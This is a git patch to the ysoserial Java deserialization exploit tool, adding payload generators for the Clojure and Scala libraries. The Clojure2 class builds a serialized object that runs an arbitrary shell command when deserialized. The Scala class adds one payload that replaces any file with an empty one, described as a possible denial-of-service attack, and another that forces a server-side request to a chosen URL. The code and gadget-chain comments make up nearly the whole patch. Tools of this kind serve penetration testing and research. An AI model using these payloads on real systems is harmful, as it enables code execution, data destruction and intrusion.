From 4ad1131660ebecfad1e3574140f086dedb33dd85 Mon Sep 17 00:00:00 2001 From: Ian Haken Date: Tue, 26 Apr 2022 22:09:52 -0700 Subject: [PATCH] Add scala and clojure payloads from a couple of years ago (#137) * Add some payloads for Scala * Add new clojure payload effecting versions since 1.8.0 * Fix infinite loop behavior of clojure2 payload. --- pom.xml | 4 + .../java/ysoserial/payloads/Clojure2.java | 61 ++++++++++ src/main/java/ysoserial/payloads/Scala.java | 106 ++++++++++++++++++ 3 files changed, 171 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Clojure2.java create mode 100644 src/main/java/ysoserial/payloads/Scala.java diff --git a/pom.xml b/pom.xml index c87a346..222920b 100644 --- a/pom.xml +++ b/pom.xml @@ -326,6 +326,10 @@ vaadin-server 7.7.14 + + org.scala-lang + scala-library + 2.12.6 com.atomikos transactions-osgi diff --git a/src/main/java/ysoserial/payloads/Clojure2.java b/src/main/java/ysoserial/payloads/Clojure2.java new file mode 100644 index 0000000..1652f86 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Clojure2.java @@ -0,0 +1,61 @@ +package ysoserial.payloads; + +import clojure.lang.Iterate; +import ysoserial.Strings; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.util.Arrays; +import java.util.Map; + +/* + Gadget chain: + ObjectInputStream.readObject() + HashMap.readObject() + clojure.lang.ASeq.hashCode() + clojure.lang.Iterate.first() -> null + clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED) + clojure.lang.Iterate.first() -> this.f.invoke(null) + clojure.core$constantly$fn__4614.invoke() + clojure.main$eval_opt.invoke() + + Requires: + org.clojure:clojure + Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java. + Versions up to 1.10.0-alpha4 are known to be vulnerable. + */ +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({ Authors.JACKOFMOSTTRADES }) +public class Clojure2 extends PayloadRunner implements ObjectPayload> { + + public Map getObject(final String command) throws Exception { + String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); + + final String clojurePayload = + String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); + + Iterate model = Reflections.createWithoutConstructor(Iterate.class); + Object evilFn = + new clojure.core$comp().invoke( + new clojure.main$eval_opt(), + new clojure.core$constantly().invoke(clojurePayload)); + + // Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable() + // ends up triggering the payload in an infinite loop as it tries to compute the hashCode. + evilFn = new clojure.core$comp().invoke( + new clojure.main$eval_opt(), + new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"), + evilFn); + + Reflections.setFieldValue(model, "f", evilFn); + return Gadgets.makeMap(model, null); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Clojure2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Scala.java b/src/main/java/ysoserial/payloads/Scala.java new file mode 100644 index 0000000..50c827b --- /dev/null +++ b/src/main/java/ysoserial/payloads/Scala.java @@ -0,0 +1,106 @@ +package ysoserial.payloads; + +import scala.Function0; +import scala.Function1; +import scala.PartialFunction; +import scala.math.Ordering$; +import scala.sys.process.processInternal$; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.io.File; +import java.net.URL; +import java.util.Comparator; +import java.util.PriorityQueue; + +/* + Two exploits using classes in the scala library. + * CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file. + Could be useful as a DoS attack by replacing some app class/war? + * Ssrf will perform a GET request to the given URL. + + Requires: + org.scala-lang:scala-library + The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library. + Some slight variations will probably work with other versions. + */ + +@Dependencies({"org.scala-lang:scala-library:2.12.6"}) +@Authors({ Authors.JACKOFMOSTTRADES }) +public class Scala { + + private static PriorityQueue createExploit(Function0 exploitFunction) throws Exception { + PartialFunction onf = processInternal$.MODULE$.onInterrupt(exploitFunction); + + Function1 f = new PartialFunction.OrElse(onf, onf); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, new Comparator() { + @Override + public int compare(Throwable o1, Throwable o2) { + return 0; + } + }); + + // stub data for replacement later + queue.add(new Exception()); + queue.add(new Exception()); + Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.by(f, null)); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = new InterruptedException(); + queueArray[1] = new InterruptedException(); + + return queue; + } + + /* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + scala.math.Ordering$$anon$5.compare() + scala.PartialFunction$OrElse.apply() + scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse() + scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply() + java.io.FileOutputStream.() + */ + public static class CreateZeroFile extends PayloadRunner implements ObjectPayload> { + public PriorityQueue getObject(final String path) throws Exception { + Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3"); + Function0 pbf = (Function0) Reflections.createWithoutConstructor(clazz); + Reflections.setFieldValue(pbf, "file$1", new File(path)); + Reflections.setFieldValue(pbf, "append$1", false); + + return createExploit(pbf); + } + } + + /* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + scala.math.Ordering$$anon$5.compare() + scala.PartialFunction$OrElse.apply() + scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse() + scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply() + java.net.URL.openStream() + */ + public static class Ssrf extends PayloadRunner implements ObjectPayload> { + public PriorityQueue getObject(final String url) throws Exception { + Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1"); + Function0 pbf = (Function0)Reflections.createWithoutConstructor(clazz); + Reflections.setFieldValue(pbf, "url$1", new URL(url)); + + return createExploit(pbf); + } + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"}); + //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"}); + } + +}